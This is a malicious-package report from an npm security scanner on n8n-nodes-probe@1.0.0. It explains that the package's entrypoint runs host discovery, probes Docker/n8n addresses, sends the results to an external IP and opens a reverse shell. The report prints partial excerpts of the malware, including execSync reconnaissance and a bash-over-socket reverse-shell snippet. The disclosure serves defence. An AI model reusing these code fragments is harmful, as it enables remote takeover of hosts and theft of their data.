Loading npm security reports…

n8n-nodes-probe: Malicious npm security report (Block) | LPM Firewall

registry / n8n-nodes-probe / 1.0.0

n8n-nodes-probe@1.0.0

Network probe nodes for n8n

AI Security Review

scanned 2h ago · by lpm-firewall-ai

Importing the package entrypoint immediately probes local Docker/n8n services and executes host-discovery commands. It exfiltrates results and attempts to establish an interactive reverse shell to an external IP.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

Any runtime that loads `index.js` through the package `main` entrypoint.

Impact

Remote operator can receive environment data and gain interactive shell access under the host process identity.

Mechanism

Import-time local-network reconnaissance, data exfiltration, and reverse-shell socket wiring.

Attack narrative

The `main` module executes an IIFE at import time. It runs host and IP discovery commands, probes likely Docker/n8n addresses, collects response content, and transmits the results to `103.27.109.184:8893`. The same module then launches `/bin/bash -i` and connects its standard streams to that external socket, which is a concrete reverse-shell implementation.

Rationale

Direct source inspection confirms import-time reconnaissance, exfiltration, and a reverse shell; this is not explained by the declared n8n node functionality. No lifecycle hook is needed because loading the declared `main` entrypoint activates the payload.

Evidence

package.jsonindex.jsProbeNode.js/bin/bash

Network endpoints7

172.17.0.2:80/172.17.0.2:80/api/172.17.0.2:443/172.17.0.2:5678/healthz172.17.0.1:80/172.18.0.2:8080/103.27.109.184:8893

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

`index.js` executes immediately when imported via the manifest `main` entrypoint.
`index.js` runs `hostname`, `hostname -I`, and a curl probe, then collects HTTP response bodies from Docker-network addresses.
`index.js` sends collected host/network data to `103.27.109.184:8893`.
`index.js` spawns interactive `/bin/bash -i` and pipes it through a socket to `103.27.109.184:8893`, creating a reverse shell.

Evidence against

`package.json` contains no npm lifecycle scripts.
`ProbeNode.js` is inert and exposes an empty n8n node implementation.

Behavioral surface

Source

ChildProcessNetwork

Supply chain

UrlStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 2.98 KB of source, external domains: 172.18.0.2

Source & flagged code

3 flagged

index.jsView file

Lines 1-22javascript

1(function(){

2 var net = require('net');

3 var cp = require('child_process');

4 var http = require('http');

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L2

6 function run(cmd) {

7 try { return cp.execSync(cmd, {timeout:3000, encoding:'utf8'}); }

8 catch(e) { return 'ERR'; }

9 }

11 var r = [];

12 r.push('HOST='+run('hostname').trim());

13 r.push('IP='+run('hostname -I').trim());

15 function httpGet(host, port, path, label) {

16 return new Promise(function(resolve) {

17 try {

18 var opts = {hostname:host, port:port, path:path, method:'GET', timeout:5000};

19 var req = http.request(opts, function(res) {

20 var data = '';

21 res.on('data', function(d) { data += d.toString(); });

22 res.on('end', function() {

Critical

Reverse Shell

Source matches reverse-shell style process and socket wiring.

index.jsView on unpkg · L1

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg · L1

Source & flagged code

3 flagged · loading source

index.jsView file

1(function(){ L2: var net = require('net'); L3: var cp = require('child_process'); L4: var http = require('http'); ... L22: res.on('end', function() { L23: r.push(label+' STATUS:'+res.statusCode+' BODY:'+data.substr(0,500).replace(/\n/g,'\\n')); L24: resolve(); ... L63: try { L64: var sh = cp.spawn('/bin/bash', ['-i']); L65: var c = new net.Socket(); ... L67: c.pipe(sh.stdin); L68: sh.stdout.pipe(c);

Critical

Reverse Shell

Source matches reverse-shell style process and socket wiring.

index.jsView on unpkg · L1

1Trigger-reachable chain: manifest.main -> index.js L1: (function(){ L2: var net = require('net'); L3: var cp = require('child_process'); L4: var http = require('http'); ... L22: res.on('end', function() { L23: r.push(label+' STATUS:'+res.statusCode+' BODY:'+data.substr(0,500).replace(/\n/g,'\\n')); L24: resolve(); ... L63: try { L64: var sh = cp.spawn('/bin/bash', ['-i']); L65: var c = new net.Socket(); ... L67: c.pipe(sh.stdin); L68: sh.stdout.pipe(c);

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg · L1

2var net = require('net'); L3: var cp = require('child_process'); L4: var http = require('http');

High

Findings

2 Critical1 High1 Medium1 Low

CriticalReverse Shellindex.js

CriticalTrigger Reachable Dangerous Capabilityindex.js

HighChild Processindex.js

MediumNetwork

LowUrl Strings